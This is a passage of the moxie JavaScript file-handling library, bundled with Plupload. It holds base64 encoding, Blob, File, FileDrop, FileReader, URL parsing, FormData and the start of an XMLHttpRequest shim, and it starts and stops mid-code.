		} while (i < data.length);

		dec = tmp_arr.join('');

		return utf8 ? utf8_decode(dec) : dec;
	};
	
	/**
	Base64 encode string (uses browser's default method if available),
	from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_encode.js

	@method btoa
	@static
	@param {String} data String to encode
	@return {String} Base64 encoded string
	*/
	var btoa = function(data, utf8) {
		if (utf8) {
			data = utf8_encode(data);
		}

		if (typeof(window.btoa) === 'function') {
			return window.btoa(data);
		}

		// http://kevin.vanzonneveld.net
		// +   original by: Tyler Akins (http://rumkin.com)
		// +   improved by: Bayron Guevara
		// +   improved by: Thunder.m
		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// +   bugfixed by: Pellentesque Malesuada
		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// +   improved by: Rafał Kukawski (http://kukawski.pl)
		// *     example 1: base64_encode('Kevin van Zonneveld');
		// *     returns 1: 'S2V2aW4gdmFuIFpvbm5ldmVsZA=='
		// mozilla has this native
		// - but breaks in 2.0.0.12!
		var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
		var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
			ac = 0,
			enc = "",
			tmp_arr = [];

		if (!data) {
			return data;
		}

		do { // pack three octets into four hexets
			o1 = data.charCodeAt(i++);
			o2 = data.charCodeAt(i++);
			o3 = data.charCodeAt(i++);

			bits = o1 << 16 | o2 << 8 | o3;

			h1 = bits >> 18 & 0x3f;
			h2 = bits >> 12 & 0x3f;
			h3 = bits >> 6 & 0x3f;
			h4 = bits & 0x3f;

			// use hexets to index into b64, and append result to encoded string
			tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
		} while (i < data.length);

		enc = tmp_arr.join('');

		var r = data.length % 3;

		return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
	};


	return {
		utf8_encode: utf8_encode,
		utf8_decode: utf8_decode,
		atob: atob,
		btoa: btoa
	};
});

// Included from: src/javascript/file/Blob.js

/**
 * Blob.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/Blob', [
	'moxie/core/utils/Basic',
	'moxie/core/utils/Encode',
	'moxie/runtime/RuntimeClient'
], function(Basic, Encode, RuntimeClient) {
	
	var blobpool = {};

	/**
	@class Blob
	@constructor
	@param {String} ruid Unique id of the runtime, to which this blob belongs to
	@param {Object} blob Object "Native" blob object, as it is represented in the runtime
	*/
	function Blob(ruid, blob) {

		function _sliceDetached(start, end, type) {
			var blob, data = blobpool[this.uid];

			if (Basic.typeOf(data) !== 'string' || !data.length) {
				return null; // or throw exception
			}

			blob = new Blob(null, {
				type: type,
				size: end - start
			});
			blob.detach(data.substr(start, blob.size));

			return blob;
		}

		RuntimeClient.call(this);

		if (ruid) {	
			this.connectRuntime(ruid);
		}

		if (!blob) {
			blob = {};
		} else if (Basic.typeOf(blob) === 'string') { // dataUrl or binary string
			blob = { data: blob };
		}

		Basic.extend(this, {
			
			/**
			Unique id of the component

			@property uid
			@type {String}
			*/
			uid: blob.uid || Basic.guid('uid_'),
			
			/**
			Unique id of the connected runtime, if falsy, then runtime will have to be initialized 
			before this Blob can be used, modified or sent

			@property ruid
			@type {String}
			*/
			ruid: ruid,
	
			/**
			Size of blob

			@property size
			@type {Number}
			@default 0
			*/
			size: blob.size || 0,
			
			/**
			Mime type of blob

			@property type
			@type {String}
			@default ''
			*/
			type: blob.type || '',
			
			/**
			@method slice
			@param {Number} [start=0]
			*/
			slice: function(start, end, type) {		
				if (this.isDetached()) {
					return _sliceDetached.apply(this, arguments);
				}
				return this.getRuntime().exec.call(this, 'Blob', 'slice', this.getSource(), start, end, type);
			},

			/**
			Returns "native" blob object (as it is represented in connected runtime) or null if not found

			@method getSource
			@return {Blob} Returns "native" blob object or null if not found
			*/
			getSource: function() {
				if (!blobpool[this.uid]) {
					return null;	
				}
				return blobpool[this.uid];
			},

			/** 
			Detaches blob from any runtime that it depends on and initialize with standalone value

			@method detach
			@protected
			@param {DOMString} [data=''] Standalone value
			*/
			detach: function(data) {
				if (this.ruid) {
					this.getRuntime().exec.call(this, 'Blob', 'destroy');
					this.disconnectRuntime();
					this.ruid = null;
				}

				data = data || '';

				// if dataUrl, convert to binary string
				if (data.substr(0, 5) == 'data:') {
					var base64Offset = data.indexOf(';base64,');
					this.type = data.substring(5, base64Offset);
					data = Encode.atob(data.substring(base64Offset + 8));
				}

				this.size = data.length;

				blobpool[this.uid] = data;
			},

			/**
			Checks if blob is standalone (detached of any runtime)
			
			@method isDetached
			@protected
			@return {Boolean}
			*/
			isDetached: function() {
				return !this.ruid && Basic.typeOf(blobpool[this.uid]) === 'string';
			},
			
			/** 
			Destroy Blob and free any resources it was using

			@method destroy
			*/
			destroy: function() {
				this.detach();
				delete blobpool[this.uid];
			}
		});

		
		if (blob.data) {
			this.detach(blob.data); // auto-detach if payload has been passed
		} else {
			blobpool[this.uid] = blob;	
		}
	}
	
	return Blob;
});

// Included from: src/javascript/file/File.js

/**
 * File.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/File', [
	'moxie/core/utils/Basic',
	'moxie/core/utils/Mime',
	'moxie/file/Blob'
], function(Basic, Mime, Blob) {
	/**
	@class File
	@extends Blob
	@constructor
	@param {String} ruid Unique id of the runtime, to which this blob belongs to
	@param {Object} file Object "Native" file object, as it is represented in the runtime
	*/
	function File(ruid, file) {
		if (!file) { // avoid extra errors in case we overlooked something
			file = {};
		}

		Blob.apply(this, arguments);

		if (!this.type) {
			this.type = Mime.getFileMime(file.name);
		}

		// sanitize file name or generate new one
		var name;
		if (file.name) {
			name = file.name.replace(/\\/g, '/');
			name = name.substr(name.lastIndexOf('/') + 1);
		} else if (this.type) {
			var prefix = this.type.split('/')[0];
			name = Basic.guid((prefix !== '' ? prefix : 'file') + '_');
			
			if (Mime.extensions[this.type]) {
				name += '.' + Mime.extensions[this.type][0]; // append proper extension if possible
			}
		}
		
		
		Basic.extend(this, {
			/**
			File name

			@property name
			@type {String}
			@default UID
			*/
			name: name || Basic.guid('file_'),

			/**
			Relative path to the file inside a directory

			@property relativePath
			@type {String}
			@default ''
			*/
			relativePath: '',
			
			/**
			Date of last modification

			@property lastModifiedDate
			@type {String}
			@default now
			*/
			lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString() // Thu Aug 23 2012 19:40:00 GMT+0400 (GET)
		});
	}

	File.prototype = Blob.prototype;

	return File;
});

// Included from: src/javascript/file/FileDrop.js

/**
 * FileDrop.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/FileDrop', [
	'moxie/core/I18n',
	'moxie/core/utils/Dom',
	'moxie/core/Exceptions',
	'moxie/core/utils/Basic',
	'moxie/core/utils/Env',
	'moxie/file/File',
	'moxie/runtime/RuntimeClient',
	'moxie/core/EventTarget',
	'moxie/core/utils/Mime'
], function(I18n, Dom, x, Basic, Env, File, RuntimeClient, EventTarget, Mime) {
	/**
	Turn arbitrary DOM element to a drop zone accepting files. Converts selected files to _File_ objects, to be used 
	in conjunction with _Image_, preloaded in memory with _FileReader_ or uploaded to a server through 
	_XMLHttpRequest_.

	@example
		<div id="drop_zone">
			Drop files here
		</div>
		<br />
		<div id="filelist"></div>

		<script type="text/javascript">
			var fileDrop = new mOxie.FileDrop('drop_zone'), fileList = mOxie.get('filelist');

			fileDrop.ondrop = function() {
				mOxie.each(this.files, function(file) {
					fileList.innerHTML += '<div>' + file.name + '</div>';
				});
			};

			fileDrop.init();
		</script>

	@class FileDrop
	@constructor
	@extends EventTarget
	@uses RuntimeClient
	@param {Object|String} options If options has typeof string, argument is considered as options.drop_zone
		@param {String|DOMElement} options.drop_zone DOM Element to turn into a drop zone
		@param {Array} [options.accept] Array of mime types to accept. By default accepts all
		@param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support
	*/
	var dispatches = [
		/**
		Dispatched when runtime is connected and drop zone is ready to accept files.

		@event ready
		@param {Object} event
		*/
		'ready', 

		/**
		Dispatched when dragging cursor enters the drop zone.

		@event dragenter
		@param {Object} event
		*/
		'dragenter',

		/**
		Dispatched when dragging cursor leaves the drop zone.

		@event dragleave
		@param {Object} event
		*/
		'dragleave', 

		/**
		Dispatched when file is dropped onto the drop zone.

		@event drop
		@param {Object} event
		*/
		'drop', 

		/**
		Dispatched if error occurs.

		@event error
		@param {Object} event
		*/
		'error'
	];

	function FileDrop(options) {
		if (MXI_DEBUG) {
			Env.log("Instantiating FileDrop...");	
		}

		var self = this, defaults;

		// if flat argument passed it should be drop_zone id
		if (typeof(options) === 'string') {
			options = { drop_zone : options };
		}

		// figure out the options
		defaults = {
			accept: [{
				title: I18n.translate('All Files'),
				extensions: '*'
			}],
			required_caps: {
				drag_and_drop: true
			}
		};
		
		options = typeof(options) === 'object' ? Basic.extend({}, defaults, options) : defaults;

		// this will help us to find proper default container
		options.container = Dom.get(options.drop_zone) || document.body;

		// make container relative, if it is not
		if (Dom.getStyle(options.container, 'position') === 'static') {
			options.container.style.position = 'relative';
		}
					
		// normalize accept option (could be list of mime types or array of title/extensions pairs)
		if (typeof(options.accept) === 'string') {
			options.accept = Mime.mimes2extList(options.accept);
		}

		RuntimeClient.call(self);

		Basic.extend(self, {
			uid: Basic.guid('uid_'),

			ruid: null,

			files: null,

			init: function() {		
				self.bind('RuntimeInit', function(e, runtime) {
					self.ruid = runtime.uid;
					runtime.exec.call(self, 'FileDrop', 'init', options);
					self.dispatchEvent('ready');
				});
							
				// runtime needs: options.required_features, options.runtime_order and options.container
				self.connectRuntime(options); // throws RuntimeError
			},

			destroy: function() {
				var runtime = this.getRuntime();
				if (runtime) {
					runtime.exec.call(this, 'FileDrop', 'destroy');
					this.disconnectRuntime();
				}
				this.files = null;
				
				this.unbindAll();
			}
		});

		this.handleEventProps(dispatches);
	}

	FileDrop.prototype = EventTarget.instance;

	return FileDrop;
});

// Included from: src/javascript/file/FileReader.js

/**
 * FileReader.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/FileReader', [
	'moxie/core/utils/Basic',
	'moxie/core/utils/Encode',
	'moxie/core/Exceptions',
	'moxie/core/EventTarget',
	'moxie/file/Blob',
	'moxie/runtime/RuntimeClient'
], function(Basic, Encode, x, EventTarget, Blob, RuntimeClient) {
	/**
	Utility for preloading o.Blob/o.File objects in memory. By design closely follows [W3C FileReader](http://www.w3.org/TR/FileAPI/#dfn-filereader)
	interface. Where possible uses native FileReader, where - not falls back to shims.

	@class FileReader
	@constructor FileReader
	@extends EventTarget
	@uses RuntimeClient
	*/
	var dispatches = [

		/** 
		Dispatched when the read starts.

		@event loadstart
		@param {Object} event
		*/
		'loadstart', 

		/** 
		Dispatched while reading (and decoding) blob, and reporting partial Blob data (progess.loaded/progress.total).

		@event progress
		@param {Object} event
		*/
		'progress', 

		/** 
		Dispatched when the read has successfully completed.

		@event load
		@param {Object} event
		*/
		'load', 

		/** 
		Dispatched when the read has been aborted. For instance, by invoking the abort() method.

		@event abort
		@param {Object} event
		*/
		'abort', 

		/** 
		Dispatched when the read has failed.

		@event error
		@param {Object} event
		*/
		'error', 

		/** 
		Dispatched when the request has completed (either in success or failure).

		@event loadend
		@param {Object} event
		*/
		'loadend'
	];
	
	function FileReader() {

		RuntimeClient.call(this);

		Basic.extend(this, {
			/**
			UID of the component instance.

			@property uid
			@type {String}
			*/
			uid: Basic.guid('uid_'),

			/**
			Contains current state of FileReader object. Can take values of FileReader.EMPTY, FileReader.LOADING
			and FileReader.DONE.

			@property readyState
			@type {Number}
			@default FileReader.EMPTY
			*/
			readyState: FileReader.EMPTY,
			
			/**
			Result of the successful read operation.

			@property result
			@type {String}
			*/
			result: null,
			
			/**
			Stores the error of failed asynchronous read operation.

			@property error
			@type {DOMError}
			*/
			error: null,
			
			/**
			Initiates reading of File/Blob object contents to binary string.

			@method readAsBinaryString
			@param {Blob|File} blob Object to preload
			*/
			readAsBinaryString: function(blob) {
				_read.call(this, 'readAsBinaryString', blob);
			},
			
			/**
			Initiates reading of File/Blob object contents to dataURL string.

			@method readAsDataURL
			@param {Blob|File} blob Object to preload
			*/
			readAsDataURL: function(blob) {
				_read.call(this, 'readAsDataURL', blob);
			},
			
			/**
			Initiates reading of File/Blob object contents to string.

			@method readAsText
			@param {Blob|File} blob Object to preload
			*/
			readAsText: function(blob) {
				_read.call(this, 'readAsText', blob);
			},
			
			/**
			Aborts preloading process.

			@method abort
			*/
			abort: function() {
				this.result = null;
				
				if (Basic.inArray(this.readyState, [FileReader.EMPTY, FileReader.DONE]) !== -1) {
					return;
				} else if (this.readyState === FileReader.LOADING) {
					this.readyState = FileReader.DONE;
				}

				this.exec('FileReader', 'abort');
				
				this.trigger('abort');
				this.trigger('loadend');
			},

			/**
			Destroy component and release resources.

			@method destroy
			*/
			destroy: function() {
				this.abort();
				this.exec('FileReader', 'destroy');
				this.disconnectRuntime();
				this.unbindAll();
			}
		});

		// uid must already be assigned
		this.handleEventProps(dispatches);

		this.bind('Error', function(e, err) {
			this.readyState = FileReader.DONE;
			this.error = err;
		}, 999);
		
		this.bind('Load', function(e) {
			this.readyState = FileReader.DONE;
		}, 999);

		
		function _read(op, blob) {
			var self = this;			

			this.trigger('loadstart');

			if (this.readyState === FileReader.LOADING) {
				this.trigger('error', new x.DOMException(x.DOMException.INVALID_STATE_ERR));
				this.trigger('loadend');
				return;
			}

			// if source is not o.Blob/o.File
			if (!(blob instanceof Blob)) {
				this.trigger('error', new x.DOMException(x.DOMException.NOT_FOUND_ERR));
				this.trigger('loadend');
				return;
			}

			this.result = null;
			this.readyState = FileReader.LOADING;
			
			if (blob.isDetached()) {
				var src = blob.getSource();
				switch (op) {
					case 'readAsText':
					case 'readAsBinaryString':
						this.result = src;
						break;
					case 'readAsDataURL':
						this.result = 'data:' + blob.type + ';base64,' + Encode.btoa(src);
						break;
				}
				this.readyState = FileReader.DONE;
				this.trigger('load');
				this.trigger('loadend');
			} else {
				this.connectRuntime(blob.ruid);
				this.exec('FileReader', 'read', op, blob);
			}
		}
	}
	
	/**
	Initial FileReader state

	@property EMPTY
	@type {Number}
	@final
	@static
	@default 0
	*/
	FileReader.EMPTY = 0;

	/**
	FileReader switches to this state when it is preloading the source

	@property LOADING
	@type {Number}
	@final
	@static
	@default 1
	*/
	FileReader.LOADING = 1;

	/**
	Preloading is complete, this is a final state

	@property DONE
	@type {Number}
	@final
	@static
	@default 2
	*/
	FileReader.DONE = 2;

	FileReader.prototype = EventTarget.instance;

	return FileReader;
});

// Included from: src/javascript/core/utils/Url.js

/**
 * Url.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/utils/Url', [], function() {
	/**
	Parse url into separate components and fill in absent parts with parts from current url,
	based on https://raw.github.com/kvz/phpjs/master/functions/url/parse_url.js

	@method parseUrl
	@for Utils
	@static
	@param {String} url Url to parse (defaults to empty string if undefined)
	@return {Object} Hash containing extracted uri components
	*/
	var parseUrl = function(url, currentUrl) {
		var key = ['source', 'scheme', 'authority', 'userInfo', 'user', 'pass', 'host', 'port', 'relative', 'path', 'directory', 'file', 'query', 'fragment']
		, i = key.length
		, ports = {
			http: 80,
			https: 443
		}
		, uri = {}
		, regex = /^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/
		, m = regex.exec(url || '')
		;
					
		while (i--) {
			if (m[i]) {
				uri[key[i]] = m[i];
			}
		}

		// when url is relative, we set the origin and the path ourselves
		if (!uri.scheme) {
			// come up with defaults
			if (!currentUrl || typeof(currentUrl) === 'string') {
				currentUrl = parseUrl(currentUrl || document.location.href);
			}

			uri.scheme = currentUrl.scheme;
			uri.host = currentUrl.host;
			uri.port = currentUrl.port;

			var path = '';
			// for urls without trailing slash we need to figure out the path
			if (/^[^\/]/.test(uri.path)) {
				path = currentUrl.path;
				// if path ends with a filename, strip it
				if (/\/[^\/]*\.[^\/]*$/.test(path)) {
					path = path.replace(/\/[^\/]+$/, '/');
				} else {
					// avoid double slash at the end (see #127)
					path = path.replace(/\/?$/, '/');
				}
			}
			uri.path = path + (uri.path || ''); // site may reside at domain.com or domain.com/subdir
		}

		if (!uri.port) {
			uri.port = ports[uri.scheme] || 80;
		} 
		
		uri.port = parseInt(uri.port, 10);

		if (!uri.path) {
			uri.path = "/";
		}

		delete uri.source;

		return uri;
	};

	/**
	Resolve url - among other things will turn relative url to absolute

	@method resolveUrl
	@static
	@param {String|Object} url Either absolute or relative, or a result of parseUrl call
	@return {String} Resolved, absolute url
	*/
	var resolveUrl = function(url) {
		var ports = { // we ignore default ports
			http: 80,
			https: 443
		}
		, urlp = typeof(url) === 'object' ? url : parseUrl(url);
		;

		return urlp.scheme + '://' + urlp.host + (urlp.port !== ports[urlp.scheme] ? ':' + urlp.port : '') + urlp.path + (urlp.query ? urlp.query : '');
	};

	/**
	Check if specified url has the same origin as the current document

	@method hasSameOrigin
	@param {String|Object} url
	@return {Boolean}
	*/
	var hasSameOrigin = function(url) {
		function origin(url) {
			return [url.scheme, url.host, url.port].join('/');
		}
			
		if (typeof url === 'string') {
			url = parseUrl(url);
		}	
		
		return origin(parseUrl()) === origin(url);
	};

	return {
		parseUrl: parseUrl,
		resolveUrl: resolveUrl,
		hasSameOrigin: hasSameOrigin
	};
});

// Included from: src/javascript/runtime/RuntimeTarget.js

/**
 * RuntimeTarget.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/runtime/RuntimeTarget', [
	'moxie/core/utils/Basic',
	'moxie/runtime/RuntimeClient',
	"moxie/core/EventTarget"
], function(Basic, RuntimeClient, EventTarget) {
	/**
	Instance of this class can be used as a target for the events dispatched by shims,
	when allowing them onto components is for either reason inappropriate

	@class RuntimeTarget
	@constructor
	@protected
	@extends EventTarget
	*/
	function RuntimeTarget() {
		this.uid = Basic.guid('uid_');
		
		RuntimeClient.call(this);

		this.destroy = function() {
			this.disconnectRuntime();
			this.unbindAll();
		};
	}

	RuntimeTarget.prototype = EventTarget.instance;

	return RuntimeTarget;
});

// Included from: src/javascript/file/FileReaderSync.js

/**
 * FileReaderSync.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/FileReaderSync', [
	'moxie/core/utils/Basic',
	'moxie/runtime/RuntimeClient',
	'moxie/core/utils/Encode'
], function(Basic, RuntimeClient, Encode) {
	/**
	Synchronous FileReader implementation. Something like this is available in WebWorkers environment, here
	it can be used to read only preloaded blobs/files and only below certain size (not yet sure what that'd be,
	but probably < 1mb). Not meant to be used directly by user.

	@class FileReaderSync
	@private
	@constructor
	*/
	return function() {
		RuntimeClient.call(this);

		Basic.extend(this, {
			uid: Basic.guid('uid_'),

			readAsBinaryString: function(blob) {
				return _read.call(this, 'readAsBinaryString', blob);
			},
			
			readAsDataURL: function(blob) {
				return _read.call(this, 'readAsDataURL', blob);
			},
			
			/*readAsArrayBuffer: function(blob) {
				return _read.call(this, 'readAsArrayBuffer', blob);
			},*/
			
			readAsText: function(blob) {
				return _read.call(this, 'readAsText', blob);
			}
		});

		function _read(op, blob) {
			if (blob.isDetached()) {
				var src = blob.getSource();
				switch (op) {
					case 'readAsBinaryString':
						return src;
					case 'readAsDataURL':
						return 'data:' + blob.type + ';base64,' + Encode.btoa(src);
					case 'readAsText':
						var txt = '';
						for (var i = 0, length = src.length; i < length; i++) {
							txt += String.fromCharCode(src[i]);
						}
						return txt;
				}
			} else {
				var result = this.connectRuntime(blob.ruid).exec.call(this, 'FileReaderSync', 'read', op, blob);
				this.disconnectRuntime();
				return result;
			}
		}
	};
});

// Included from: src/javascript/xhr/FormData.js

/**
 * FormData.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/xhr/FormData", [
	"moxie/core/Exceptions",
	"moxie/core/utils/Basic",
	"moxie/file/Blob"
], function(x, Basic, Blob) {
	/**
	FormData

	@class FormData
	@constructor
	*/
	function FormData() {
		var _blob, _fields = [];

		Basic.extend(this, {
			/**
			Append another key-value pair to the FormData object

			@method append
			@param {String} name Name for the new field
			@param {String|Blob|Array|Object} value Value for the field
			*/
			append: function(name, value) {
				var self = this, valueType = Basic.typeOf(value);

				// according to specs value might be either Blob or String
				if (value instanceof Blob) {
					_blob = {
						name: name,
						value: value // unfortunately we can only send single Blob in one FormData
					};
				} else if ('array' === valueType) {
					name += '[]';

					Basic.each(value, function(value) {
						self.append(name, value);
					});
				} else if ('object' === valueType) {
					Basic.each(value, function(value, key) {
						self.append(name + '[' + key + ']', value);
					});
				} else if ('null' === valueType || 'undefined' === valueType || 'number' === valueType && isNaN(value)) {
					self.append(name, "false");
				} else {
					_fields.push({
						name: name,
						value: value.toString()
					});
				}
			},

			/**
			Checks if FormData contains Blob.

			@method hasBlob
			@return {Boolean}
			*/
			hasBlob: function() {
				return !!this.getBlob();
			},

			/**
			Retrieves blob.

			@method getBlob
			@return {Object} Either Blob if found or null
			*/
			getBlob: function() {
				return _blob && _blob.value || null;
			},

			/**
			Retrieves blob field name.

			@method getBlobName
			@return {String} Either Blob field name or null
			*/
			getBlobName: function() {
				return _blob && _blob.name || null;
			},

			/**
			Loop over the fields in FormData and invoke the callback for each of them.

			@method each
			@param {Function} cb Callback to call for each field
			*/
			each: function(cb) {
				Basic.each(_fields, function(field) {
					cb(field.value, field.name);
				});

				if (_blob) {
					cb(_blob.value, _blob.name);
				}
			},

			destroy: function() {
				_blob = null;
				_fields = [];
			}
		});
	}

	return FormData;
});

// Included from: src/javascript/xhr/XMLHttpRequest.js

/**
 * XMLHttpRequest.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/xhr/XMLHttpRequest", [
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/core/EventTarget",
	"moxie/core/utils/Encode",
	"moxie/core/utils/Url",
	"moxie/runtime/Runtime",
	"moxie/runtime/RuntimeTarget",
	"moxie/file/Blob",
	"moxie/file/FileReaderSync",
	"moxie/xhr/FormData",
	"moxie/core/utils/Env",
	"moxie/core/utils/Mime"
], function(Basic, x, EventTarget, Encode, Url, Runtime, RuntimeTarget, Blob, FileReaderSync, FormData, Env, Mime) {

	var httpCode = {
		100: 'Continue',
		101: 'Switching Protocols',
		102: 'Processing',

		200: 'OK',
		201: 'Created',
		202: 'Accepted',
		203: 'Non-Authoritative Information',
		204: 'No Content',
		205: 'Reset Content',
		206: 'Partial Content',
		207: 'Multi-Status',
		226: 'IM Used',

		300: 'Multiple Choices',
		301: 'Moved Permanently',
		302: 'Found',
		303: 'See Other',
		304: 'Not Modified',
		305: 'Use Proxy',
		306: 'Reserved',
		307: 'Temporary Redirect',

		400: 'Bad Request',
		401: 'Unauthorized',
		402: 'Payment Required',
		403: 'Forbidden',
		404: 'Not Found',
		405: 'Method Not Allowed',
		406: 'Not Acceptable',
		407: 'Proxy Authentication Required',
		408: 'Request Timeout',
		409: 'Conflict',
		410: 'Gone',
		411: 'Length Required',
		412: 'Precondition Failed',
		413: 'Request Entity Too Large',
		414: 'Request-URI Too Long',
		415: 'Unsupported Media Type',
		416: 'Requested Range Not Satisfiable',
		417: 'Expectation Failed',
		422: 'Unprocessable Entity',
		423: 'Locked',
		424: 'Failed Dependency',
		426: 'Upgrade Required',

		500: 'Internal Server Error',
		501: 'Not Implemented',
		502: 'Bad Gateway',
		503: 'Service Unavailable',
		504: 'Gateway Timeout',
		505: 'HTTP Version Not Supported',
		506: 'Variant Also Negotiates',
		507: 'Insufficient Storage',
		510: 'Not Extended'
	};

	function XMLHttpRequestUpload() {
		this.uid = Basic.guid('uid_');
	}
	
	XMLHttpRequestUpload.prototype = EventTarget.instance;

	/**
	Implementation of XMLHttpRequest

	@class XMLHttpRequest
	@constructor
	@uses RuntimeClient
	@extends EventTarget
	*/
	var dispatches = [
		'loadstart',

		'progress',

		'abort',

		'error',

		'load',

		'timeout',

		'loadend'

		// readystatechange (for historical reasons)
	]; 
	
	var NATIVE = 1, RUNTIME = 2;
					
	function XMLHttpRequest() {
		var self = this,
			// this (together with _p() @see below) is here to gracefully upgrade to setter/getter syntax where possible
			props = {
				/**
				The amount of milliseconds a request can take before being terminated. Initially zero. Zero means there is no timeout.

				@property timeout
				@type Number
				@default 0
				*/
				timeout: 0,

				/**
				Current state, can take following values:
				UNSENT (numeric value 0)
				The object has been constructed.

				OPENED (numeric value 1)
				The open() method has been successfully invoked. During this state request headers can be set using setRequestHeader() and the request can be made using the send() method.

				HEADERS_RECEIVED (numeric value 2)
				All redirects (if any) have been followed and all HTTP headers of the final response have been received. Several response members of the object are now available.

				LOADING (numeric value 3)
				The response entity body is being received.

				DONE (numeric value 4)

				@property readyState
				@type Number
				@default 0 (UNSENT)
				*/
				readyState: XMLHttpRequest.UNSENT,

				/**
				True when user credentials are to be included in a cross-origin request. False when they are to be excluded
				in a cross-origin request and when cookies are to be ignored in its response. Initially false.

				@property withCredentials
				@type Boolean
				@default false
				*/
				withCredentials: false,

				/**
				Returns the HTTP status code.

				@property status
				@type Number
				@default 0
				*/
				status: 0,

				/**
				Returns the HTTP status text.

				@property statusText
				@type String
				*/
				statusText: "",

				/**
				Returns the response type. Can be set to change the response type. Values are:
				the empty string (default), "arraybuffer", "blob", "document", "json", and "text".
				
				@property responseType
				@type String
				*/
				responseType: "",

				/**
				Returns the document response entity body.
				
				Throws an "InvalidStateError" exception if responseType is not the empty string or "document".

				@property responseXML
				@type Document
				*/
				responseXML: null,

				/**
				Returns the text response entity body.
				
				Throws an "InvalidStateError" exception if responseType is not the empty string or "text".

				@property responseText
				@type String
				*/
				responseText: null,

				/**
				Returns the response entity body (http://www.w3.org/TR/XMLHttpRequest/#response-entity-body).
				Can become: ArrayBuffer, Blob, Document, JSON, Text
				
				@property response
				@type Mixed
				*/
				response: null
			},

			_async = true,
			_url,
			_method,
			_headers = {},
			_user,
			_password,
			_encoding = null,
			_mimeType = null,

			// flags
			_sync_flag = false,
			_send_flag = false,
			_upload_events_flag = false,
			_upload_complete_flag = false,
			_error_flag = false,
			_same_origin_flag = false,

			// times
			_start_time,
			_timeoutset_time,

			_finalMime = null,
			_finalCharset = null,

			_options = {},
			_xhr,
			_responseHeaders = '',
			_responseHeadersBag
			;

		
		Basic.extend(this, props, {
			/**
			Unique id of the component

			@property uid
			@type String
			*/
			uid: Basic.guid('uid_'),
			
			/**
			Target for Upload events

			@property upload
			@type XMLHttpRequestUpload
			*/
			upload: new XMLHttpRequestUpload(),
			

			/**
			Sets the request method, request URL, synchronous flag, request username, and request password.

			Throws a "SyntaxError" exception if one of the following is true:

			method is not a valid HTTP method.
			url cannot be resolved.
			url contains the "user:password" format in the userinfo production.
			Throws a "SecurityError" exception if method is a case-insensitive match for CONNECT, TRACE or TRACK.

			Throws an "InvalidAccessError" exception if one of the following is true:

			Either user or password is passed as argument and the origin of url does not match the XMLHttpRequest origin.
			There is an associated XMLHttpRequest document and either the timeout attribute is not zero,
			the withCredentials attribute is true, or the responseType attribute is not the empty string.


			@method open
			@param {String} method HTTP method to use on request
			@param {String} url URL to request
			@param {Boolean} [async=true] If false request will be done in synchronous manner. Asynchronous by default.
			@param {String} [user] Username to use in HTTP authentication process on server-side
			@param {String} [password] Password to use in HTTP authentication process on server-side
			*/
			open: function(method, url, async, user, password) {
				var urlp;
				
				// first two arguments are required
				if (!method || !url) {
					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
				}
				
				// 2 - check if any code point in method is higher than U+00FF or after deflating method it does not match the method
				if (/[\u0100-\uffff]/.test(method) || Encode.utf8_encode(method) !== method) {
					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
				}

				// 3
				if (!!~Basic.inArray(method.toUpperCase(), ['CONNECT', 'DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT', 'TRACE', 'TRACK'])) {
					_method = method.toUpperCase();
				}
				
				
				// 4 - allowing these methods poses a security risk
				if (!!~Basic.inArray(_method, ['CONNECT', 'TRACE', 'TRACK'])) {
					throw new x.DOMException(x.DOMException.SECURITY_ERR);
				}

				// 5
				url = Encode.utf8_encode(url);
				
				// 6 - Resolve url relative to the XMLHttpRequest base URL. If the algorithm returns an error, throw a "SyntaxError".
				urlp = Url.parseUrl(url);

				_same_origin_flag = Url.hasSameOrigin(urlp);
																
				// 7 - manually build up absolute url
				_url = Url.resolveUrl(url);
		
				// 9-10, 12-13
				if ((user || password) && !_same_origin_flag) {
					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
				}

				_user = user || urlp.user;
				_password = password || urlp.pass;
				
				// 11
				_async = async || true;
				
